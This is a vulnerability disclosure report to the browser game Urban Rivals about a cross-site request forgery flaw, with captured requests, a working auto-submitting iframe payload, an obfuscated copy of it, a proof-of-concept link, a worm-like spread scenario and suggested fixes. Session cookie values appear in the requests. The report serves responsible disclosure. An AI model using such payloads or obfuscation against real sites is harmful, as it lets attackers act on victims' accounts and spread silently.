Urban Rivals Bug Report

(30-05-2020)

By:- Tanishq Aggarwal (ign: SpykeX_)

Cross Site Request Forgery due to improper token validation

Introduction

Cross Site Request Forgery is a part of the OWASP Top Ten project. Successful exploitation of this vulnerability allows an attacker to perform actions on behalf of other users, including but not limited to actions such as, sending cards to the attacker, selling cards to Kate, making forum posts on behalf of the victim user, etc.

Severity assessment

The severity level of this bug is **High**.

CVSS Score: 8.1 (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N)

The CVSS score of this vulnerability can increase to **8.8** (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H) if the attack is perpetrated by a former admin of the game, i.e. if the attacker has been familiar with the admin functionality of the web application.

Analysis of vulnerable component

Let’s analyze the network request that gets sent out when a player attempts to send a card in private sales to another player.

```
POST /ajax/collection/sell_card.php HTTP/1.1
Host: www.urban-rivals.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0)
Gecko/20100101 Firefox/76.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
ur-csrf-token: 1590840686501-63722496.481978916
X-Requested-With: XMLHttpRequest
Content-Length: 72
Origin: https://www.urban-rivals.com
Connection: close
Referer: https://www.urban-rivals.com/collection/
Cookie: collection-filters={%22nb_per_page%22:%2212%22}; ur_token=
3440b630e6e2e03f0a3d0e1200e94de205ece27d9; ur-csrf-token=
1590840686501-63722496.481978916; UR_SESSID=
1ad77bd192e120e520383beb5194925c

price=50&action=sellToFriend&buyer_name=SpykeX&id_perso_joueur=459931979
```

And this is the response received to the above request.

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Cache-control: max-age=0, no-cache, no-store
Content-Language: en
Content-Type: text/html; charset=UTF-8
Date: Sat, 30 May 2020 12:16:58 GMT
Expires: Fri, 29 May 2020 12:16:58 GMT
P3P: policyref="/w3c/p3p.xml"
Pragma: no-cache
Server: Apache
Content-Length: 153
Connection: Close

{"errorCode":0,"errorMsg":"Your character has been put on
sale!","characterInMarketID":453757918,"characterInCollectionID":459931979,"clintzLeft":253
271}
```

Now let’s try to send the same request again but omit a few HTTP headers and cookies.

```
POST /ajax/collection/sell_card.php HTTP/1.1
Host: www.urban-rivals.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0)
Gecko/20100101 Firefox/76.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Content-Length: 72
Connection: close
Cookie: collection-filters={%22nb_per_page%22:%2212%22}; ur_token=
3440b630e6e2e03f0a3d0e1200e94de205ece27d9; UR_SESSID=
1ad77bd192e120e520383beb5194925c

price=50&action=sellToFriend&buyer_name=SpykeX&id_perso_joueur=459931979
```

The following response is received for the above request.

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Cache-control: max-age=0, no-cache, no-store
Content-Language: en
Content-Type: text/html; charset=UTF-8
Date: Sat, 30 May 2020 12:19:24 GMT
Expires: Fri, 29 May 2020 12:19:24 GMT
P3P: policyref="/w3c/p3p.xml"
Pragma: no-cache
Server: Apache
Content-Length: 153
Connection: Close

{"errorCode":0,"errorMsg":"Your character has been put on
sale!","characterInMarketID":453758227,"characterInCollectionID":459931979,"clintzLeft":253
271}
```

As can be seen, the action is permitted even when the *ur-csrf-token* cookie, *ur-csrf-token* header, *Origin* header, *Referer* header, and *X-Requested-With* header are missing from the request. All of these components, if improperly validated, can lead to the vulnerability which is being reported.

This behavior can be replicated on the entirety of the web application.

Steps to reproduce

Use Burp Suite Community Edition or any other application that allows intercepting and modifying network requests, and omit the headers mentioned above from the request associated with a regular game action. If a success message is received despite of the missing headers, the vulnerability is confirmed.

You may even use the *Network* tab of Google Chrome or Mozilla Firefox.

Exploit walkthrough

The below code can be pasted inside the source HTML of any web page.

```
<iframe style="display:none;" src="" id="frameId"></iframe>
<script>
    let ifrm = document.getElementById("frameId");
    ifrm = ifrm.contentWindow || ifrm.contentDocument.document || ifrm.contentDocument;
    ifrm.document.open();
    ifrm.document.write('<form id="cform" action="https://www.urban-
rivals.com/ajax/send_private_message.php" method="POST"><input type="hidden" name="action"
value="sendPrivateMessage"><input type="hidden" name="dest_id" value="35073257"><input type
="hidden" name="type
" value="normal"><input type="hidden" name="message" value="Hacked!"></form>');
    ifrm.document.close();
    ifrm.document.getElementById("cform").submit();
</script>
```

Whenever an Urban Rivals player visits the web page containing this code using their regular browser, they will send a private message to **SpykeX_** saying “Hacked!”

This code causes the victim’s browser to make a form POST request in the background to *https://www.urban-rivals.com/ajax/send_private_message.php* with the necessary parameters and all of the user’s cookies associated with *www.urban-rivals.com*. Multiple forms can be created and submitted in similar fashion to perform multiple actions on behalf of the victim user.

The above code can also be obfuscated before including it in the web page to make it less discernable:-

```
<script type='text/javascript'>
<!--
var s="=jgsbnf!tuzmf>#ejtqmbz;opof<#!tsd>##!je>#gsbnfJe#?=0jgsbnf?
=tdsjqu?
!!!!mfu!jgsn!>!epdvnfou/hfuFmfnfouCzJe)#gsbnfJe#*<
!!!!jgsn!>!jgsn/dpoufouXjoepx!}}!jgsn/dpoufouEpdvnfou/epdvnfou!}}!jgsn/dpoufouEpdvnfou<
!!!!jgsn/epdvnfou/pqfo)*<
!!!!jgsn/epdvnfou/xsjuf)(=gpsn!je>#dgpsn#!bdujpo>#iuuqt;00xxx/vscbo.sjwbmt/dpn0bkby0tfoe`qs
jwbuf`nfttbhf/qiq#!nfuipe>#QPTU#?=joqvu!uzqf>#ijeefo#!obnf>#bdujpo#!wbmvf>#tfoeQsjwbufNfttb
hf#?=joqvu!uzqf>#ijeefo#!obnf>#eftu`je#!wbmvf>#46184368#?=joqvu!uzqf>#ijeefo#!obnf>#uzqf!#!
wbmvf>#opsnbm#?=joqvu!uzqf>#ijeefo#!obnf>#nfttbhf#!wbmvf>#Ibdlfe#?=0gpsn?(*<
!!!!jgsn/epdvnfou/dmptf)*<
!!!!jgsn/epdvnfou/hfuFmfnfouCzJe)#dgpsn#*/tvcnju)*<
=0tdsjqu?
";
m=""; for (i=0; i<s.length; i++) {  if(s.charCodeAt(i) == 28){    m+= '&';} else if (s.char
CodeAt(i) == 23) {     m+= '!';} else {    m+=String.fromCharCode(s.charCodeAt(i)-
1);    }}document.write(m);//-->
</script>
```

Proof of concept

Visit this link using the same browser that you have your Urban Rivals account logged in on:-

https://ur-hack.github.io/csrf-demonstration/poll.html

Do not visit the link in Incognito mode, unless you’re logged into your UR account in an incognito tab as well.

You’ll notice that a private message has been sent from your account to **SpykeX_** saying “Hacked!”

Impact analysis

The impact of the attack can be as minimal as making a harmless forum post on behalf of the victim user, to as high as forcing an administrator to perform actions such as deleting accounts of all game users, or blocking or unblocking users unnecessarily. The attack link can very easily be propagated throughout the game by leveraging the 'Private Message' and 'Forum' functionality of the game.

An example attack scenario:

- An unsuspecting user clicks on the attacker's link
- A malicious script on the attacker's domain executes
- All of the user's cards are sold to Kate
- The user is forced to send private messages to all of his/her friends spamming the attack link along with the attacker's message
- The user is forced to spam the attack link on forum posts of their guild, as well as on public forum posts, along with the attacker's message
- Another user clicks on the link causing the same series of events to repeat for their account

Depending on the popularity of the users that interact with the attack link, the effects of the exploit could spread throughout the game at such a fast pace that it might become impossible to take control of the situation without temporarily making the game unavailable to all users.

Furthermore, if the attacker has knowledge of the site's admin functionality, and the targeted user is an admin on the game, the impact of the vulnerability can be catastrophic.

Suggested patches

- Properly validate the *ur-csrf-token* header of an incoming network request before permitting any game action.
- Validate the *Origin* and *Referer* headers of an incoming network request to determine whether the request is coming from the same domain or an unknown domain. This patch however might cause some problems for other domains using the Urban Rivals API.
- Set the *SameSite* attribute of session cookies to **Strict** (does not work on all browsers).

Important links

https://owasp.org/www-community/attacks/csrf

https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie/SameSite